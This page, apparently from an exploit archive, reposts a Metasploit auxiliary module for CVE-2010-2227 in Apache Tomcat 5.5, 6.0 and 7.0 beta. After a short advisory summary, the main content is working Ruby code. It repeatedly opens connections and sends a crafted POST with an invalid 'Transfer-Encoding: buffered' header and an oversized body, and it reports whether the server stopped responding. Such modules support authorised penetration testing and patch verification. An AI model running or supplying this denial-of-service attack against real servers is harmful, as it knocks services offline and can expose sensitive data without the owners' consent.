exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Tomcat Transfer-Encoding Information Disclosure and Denial of Service

Apache Tomcat Transfer-Encoding Information Disclosure and Denial of Service
Posted Aug 31, 2024
Authored by Andi, Paulino Calderon, Steve Jones | Site metasploit.com

Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not properly handle an invalid Transfer-Encoding header, which allows remote attackers to cause a denial of service (application outage) or obtain sensitive information via a crafted header that interferes with "recycling of a buffer."

tags | exploit, remote, denial of service
advisories | CVE-2010-2227
SHA-256 | aff5b40d48b744669b49fa2cfee527fa3db07c7cb604fbe5b035e218c9052351

Apache Tomcat Transfer-Encoding Information Disclosure and Denial of Service

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tomcat Transfer-Encoding Information Disclosure and DoS',
'Description' => %q{
Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not
properly handle an invalid Transfer-Encoding header, which allows remote attackers
to cause a denial of service (application outage) or obtain sensitive information
via a crafted header that interferes with "recycling of a buffer."
},
'Author' =>
[
'Steve Jones', # original discoverer
'Hoagie <andi[at]void.at>', # original public exploit
'Paulino Calderon <calderon[at]websec.mx>', # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2227' ],
[ 'OSVDB', '66319' ],
[ 'BID', '41544' ]
],
'DisclosureDate' => '2010-07-09'))

register_options(
[
Opt::RPORT(8000),
OptInt.new('RLIMIT', [ true, "Number of requests to send", 25])
])
end

def run
for x in 1..datastore['RLIMIT']
begin
connect
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")

sploit = "POST / HTTP/1.1\r\n"
sploit << "Host: " + rhost + "\r\n"
sploit << "Transfer-Encoding: buffered\r\n"
sploit << "Content-Length: 65537\r\n\r\n"
sploit << Rex::Text.rand_text_alpha(1) * 65537

sock.put(sploit + "\r\n\r\n")
disconnect

print_error("DoS packet unsuccessful")
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{rhost}:#{rport}")
rescue ::Errno::ECONNRESET
print_good("DoS packet successful. #{rhost} not responding.")
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Couldn't connect to #{rhost}:#{rport}")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close